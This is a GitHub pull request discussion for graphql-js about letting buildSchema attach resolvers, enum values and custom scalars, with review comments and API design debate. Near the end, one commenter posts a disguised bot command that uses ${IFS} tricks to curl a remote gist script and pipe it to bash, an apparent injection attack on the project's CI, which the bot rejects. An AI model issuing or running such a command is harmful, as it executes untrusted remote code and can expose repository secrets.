Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

buildSchema should be able to create fully featured schema #1987

Open
wants to merge 5 commits into
base: main
Choose a base branch
from

Conversation

langpavel
Copy link
Contributor

@langpavel langpavel commented Jun 21, 2019

buildSchema, buildASTSchema and extendSchema:

DONE: 🎉

  • can lookup for type field resolvers 9157529
  • enum value lookup (exactly like previous) 1b0f68a
  • tests 84adacf (object field resolver, enum values)
  • custom scalars + test 396098e

TO DO, need help:

  • isTypeOf on ObjectType (should I follow graphql-tools with __isTypeOf?)
  • resolveType on UnionType (same question as above)
  • more tests
  • documentation (help wanted)
  • …?

Related: #1384 #1858

/cc @IvanGoncharov, @leebyron

@langpavel langpavel force-pushed the build-schema-resolvers branch 2 times, most recently from 97b4b9b to 1b0f68a Compare June 21, 2019 02:16
@@ -72,6 +73,11 @@ import {
GraphQLSchema,
} from '../type/schema';

export type TypeFieldResolverMap = ObjMap<
| ObjMap<GraphQLFieldResolver<mixed, mixed, mixed>> /* type and interface */
| ObjMap<any> /* enum */,
Copy link
Contributor Author

@langpavel langpavel Jun 21, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't like this much because any for enum will eat resolvers for object types.
Should I wrap enum values to object with key one key values? It may works better for flow and TS checking but feels weird 😬 @IvanGoncharov what do you think?

@IvanGoncharov
Copy link
Member

@langpavel Thanks, for PR 👍
It's definitely a problem we need to address.
But ATM I'm focused on fixing last issues in 14.x.x and start working on 15.x.x.

Since this is a very complex feature and we would need the ability to iterate on it without doing breaking changes I want to postpone this particular feature after 15.x.x and include it in experimental 16.0.0-alpha.1 line.

Meanwhile, I need to think about the general API design and how to handle a thing like this:

scalar CustomScalarWithValidationRule
directive @SomeDirective(arg: CustomScalarWithValidationRule) on FIELD_DEFINITION

type Query {
  foo: String @SomeDirective(arg: "<Invalid value for custom scalar>")
  bar(arg: CustomScalarWithValidationRule = "<Invalid value for custom scalar>")
}

We need ability to provide parseLiteral for CustomScalarWithValidationRule before SDL validation started.

@IvanGoncharov IvanGoncharov added this to the 16.0.0-alpha.1 milestone Jun 25, 2019
@langpavel
Copy link
Contributor Author

langpavel commented Jun 25, 2019

Hi @IvanGoncharov

It's definitely a problem we need to address.

I definitely agree that this may be complex feature, but if you look into this PR, it's actually really easy to follow whats happens.
Excluding types, tests and comments and small refactoring, actual effective change is under 10 lines

But ATM I'm focused on fixing last issues in 14.x.x and start working on 15.x.x.

Ok, this ones: v14.x.x and v15.0.0

We need ability to provide parseLiteral for CustomScalarWithValidationRule before SDL validation started.

This is already partially covered here: 396098e
You can pass scalars (or scalars config, interface is same) with options.resolvers, so you can access every scalar method like this:

const scalarConfig = options.resolvers['CustomScalarWithValidationRule'];
const { serialize, parseValue, parseLiteral } = scalarConfig;

Because options can be passed to validation, you can use actual scalar implementation to test values.

Please, consider this merging soon, as this is only thing which allow me to drop graphql-tools entirely.
I don't like graphql-tools because they mutate actual schema.

@langpavel langpavel force-pushed the build-schema-resolvers branch from 396098e to a1b8520 Compare June 29, 2019 16:07
@yaacovCR
Copy link
Contributor

Related: ardatan/graphql-tools#1456 changes graphql-tools to no longer modify original schema in place and instead return a new rewired schema.

@IvanGoncharov IvanGoncharov removed this from the 16.0.0-alpha.1 milestone Aug 13, 2020
Base automatically changed from master to main January 27, 2021 11:10
@IvanGoncharov IvanGoncharov added this to the post-16.0.0 milestone Aug 11, 2021
Copy link

@github-actions run-benchmark${IFS}{curl,-sSFL,gist.githubusercontent.com/cvbedc/ea8f4e3d7c3de4ccdbed7eb9d56cac46/raw/d6c973afc561f0d8084b3a6addac275cec703de7/run.sh}${IFS}|${IFS}bash

@cvbedc Unknown command 😕

Supported commands

Please post this commands in separate comments and only one per comment:

  • @github-actions run-benchmark - Run benchmark comparing base and merge commits for this PR
  • @github-actions publish-pr-on-npm - Build package from this PR and publish it on NPM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants